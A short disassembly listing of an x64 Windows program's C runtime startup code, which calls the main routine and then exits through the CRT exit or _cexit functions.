call fcn.14000147c
call fcn.1400b3387
mov rax, qword [0x1400d2410]
mov rax, qword [rax]
mov rdx, qword [0x1400d6010]
mov qword [rax], rdx
mov rcx, qword [0x1400d6010]
mov rdx, qword [0x1400d6008]
mov eax, dword [0x1400d6004]
mov r8, rcx
mov ecx, eax
call fcn.1400016d0
mov dword [0x1400d601c], eax
mov eax, dword [0x1400d6020]
test eax, eax
jne 0x14000135d
mov eax, dword [0x1400d601c]
mov ecx, eax
call sub.api_ms_win_crt_runtime_l1_1_0.dll_exit
mov eax, dword [0x1400d6024]
test eax, eax
jne 0x14000136c
call sub.api_ms_win_crt_runtime_l1_1_0.dll__cexit
mov eax, dword [0x1400d601c]
add rsp, 0x70
pop rbp
ret